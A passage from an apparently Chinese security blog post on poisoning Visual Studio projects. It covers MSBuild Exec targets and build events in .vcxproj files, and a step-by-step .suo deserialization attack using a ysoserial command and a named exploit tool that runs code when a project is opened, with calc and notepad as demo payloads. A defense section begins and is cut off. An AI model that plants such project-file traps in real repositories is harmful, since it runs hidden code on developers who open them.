0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">同上.vcxproj文件中加入</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">Target</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">Name</span></span><span leaf="">=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;GetFrameworkPaths&#34;</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">Exec</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">Command</span></span><span leaf="">=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;notepad&#34;</span></span><span leaf=""> /&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">Target</span></span><span leaf="">&gt;</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">编译执行</span></p><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">项目配置命令执行</span></p></blockquote><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">解决方案管理器右键项目名称-属性-如图所示位置</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3212962962962963" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038473" src="https://wechat2rss.xlab.app/img-proxy/?k=a9b3e39f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdXIkSkFJm0icW8NbkPK7f4zBe6cXq6UIOuT2Fg8VBjz5896EWTiaGQxhw7VDA2tZpoDDAFA2UvTAiaRVKZxvJVvuykoMvnia1rqvxQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">以下三个事件都可用于命令执行</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038476" data-ratio="0.6157407407407407" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=640a2287&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdU0P463a7qTFpib6rKDzllv7dmb7tPbEHLl2A2KU73CB2trNmiaicCqnU3ImOia5fJibvp53SfD8bicicjs2lhFk3DtDUbjU625Y3Mb0U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">需要在输出处输入内容</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6277777777777778" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038474" src="https://wechat2rss.xlab.app/img-proxy/?k=8992a00a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdXtQ9WlgpI7EWMSUHSFhYXLOQpX9ic2WkCno7hCgsgUFYhPpxSPr0zKl7X84vOdnAISJ9mXxJSbBWRxojvGVQBjy8Afg4k0ww5Y%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">以上方式在编译后均可执行代码，添加这些编译属性后，vs会在项目名.vcxproj自动生成代码，由此可以看出，在背景中提到的Anydesk投毒正是在这里进行利用，需要编译恶意载荷才会运行。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038479" data-ratio="0.49537037037037035" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=faa8a74d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjS2mB7OlsdWrz8ibKuaVuiboCshjZ2Rwepia85VM4pLWPAXzD8Pk2Rd9yccZYj1kb42fNgjvkch3Ho2PsGjTVB6VveLAQbY7M8W2DoAmYqe3B8%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="border-top-color: rgb(33, 33, 34);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 2px;border-left-width: 1px;border-right-width: 1px;border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(89, 89, 89);border-top-color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 4px;padding-bottom: 0px;padding-left: 6px;padding-right: 6px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 2px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">1click</span></span></h3><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">.suo文件利用</span></p></blockquote><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">项目推荐（用于生成恶意.suo文件）：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">.suo文件反序列化漏洞利用工具: <a href="https://github.com/Brassinolide/VS_Deserialize_Exploit" target="_blank">https://github.com/Brassinolide/VS_Deserialize_Exploit</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">.net安全矩阵知识星球 Sharp4suopoc.exe</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">利用流程</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">1.新建项目，以c++项目为例，打开视图-&gt;工具箱，搜索栏搜索类视图（其他窗口可能可以，没有做尝试）、属性，将三者钉在主页</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5314814814814814" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038478" src="https://wechat2rss.xlab.app/img-proxy/?k=a67bbb3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdWWykK021mIEuvr7yPvCA6vdkYPwSOuAnmlmlyx6o85DBAevic1k8IWKuiadjdFibf7GUU1qWub3kHSTf4RfWj1kAcXGialA6PsBUM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">鼠标点击类视图，然后关闭项目。（聚焦此处）</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">简单说一下以上做法的原因：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">打开视图工具箱：确保项目加载vstoolboxservice类，反序列化调用链触发点在此</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">点击类视图触发窗口聚焦：在 @crackme.net 大佬的帮助下，了解到一条在窗口聚焦功能的漏洞触发链。</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2.ysoserial.exe生成反序列化载荷</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">ysoserial -g ClaimsIdentity -f BinaryFormatter -c calc -o base64 -bgc TypeConfuseDelegate</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">3.使用工具生成恶意.suo（以VS_Deserialize_Exploit工具为例）</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">&gt;VS_Deserialize_Exploit.exe</span><span leaf=""><br/></span><span leaf="">输入suo文件路径</span><span leaf=""><br/></span><span leaf="">路径\.suo</span><span leaf=""><br/></span><span leaf="">输入payload</span><span leaf=""><br/></span><span leaf="">ysoserial生成的数据</span><span leaf=""><br/></span><span leaf="">成功，文件已保存到 evil.suo</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">替换项目下的.suo文件即可（.suo文件一般在</span><code style="color: rgb(239, 112, 96);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">项目根目录/.vs/项目名/v16或v17/</span></code><span leaf="">路径下），替换后打开项目，无需编译恶意代码即执行。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5212962962962963" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038480" src="https://wechat2rss.xlab.app/img-proxy/?k=55c47bf2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdXMul7IY4aTgbLIicibeE3gyZUNFfOoKj6tSyye6bwSDtl2hbgzjNrwA68VvBiaV5NibAYTKBHRuriatz7ZpfYk5ibhJdVQibtQcSCpHI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">.suo文件优势在于隐蔽性高（.文件开头），无明显攻击语句（反序列化数据），使用一次后即销毁。</span></p><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">利用类型库进行1click攻击</span></p></blockquote><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">需要的大牛可以看看链接：<a href="https://xz.aliyun.com/news/13871#:~:text=%E5%AE%83%E6%89%8D%E8%A7%A6%E5%8F%91%EF%BC%9F-,0X09%20%E6%9F%A5%E7%9C%8B%E4%BB%A3%E7%A0%81%E6%97%B6%E5%8A%A0%E8%BD%BD%E6%81%B6%E6%84%8F%E7%B1%BB%E5%9E%8B%E5%BA%93,-%E9%A6%96%E5%85%88%EF%BC%8C%E9%9C%80%E8%A6%81%E6%98%8E%E7%99%BD" target="_blank">https://xz.aliyun.com/news/13871#:~:text=%E5%AE%83%E6%89%8D%E8%A7%A6%E5%8F%91%EF%BC%9F-,0X09%20%E6%9F%A5%E7%9C%8B%E4%BB%A3%E7%A0%81%E6%97%B6%E5%8A%A0%E8%BD%BD%E6%81%B6%E6%84%8F%E7%B1%BB%E5%9E%8B%E5%BA%93,-%E9%A6%96%E5%85%88%EF%BC%8C%E9%9C%80%E8%A6%81%E6%98%8E%E7%99%BD</a></span></p><h2 data-tool="mdnice编辑器" style="background-color: rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 15px;padding-right: 30px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 40px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x03 防御</span></span></h2><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">不打开来源不可信的项目文件</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">运行项目前检查</span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: 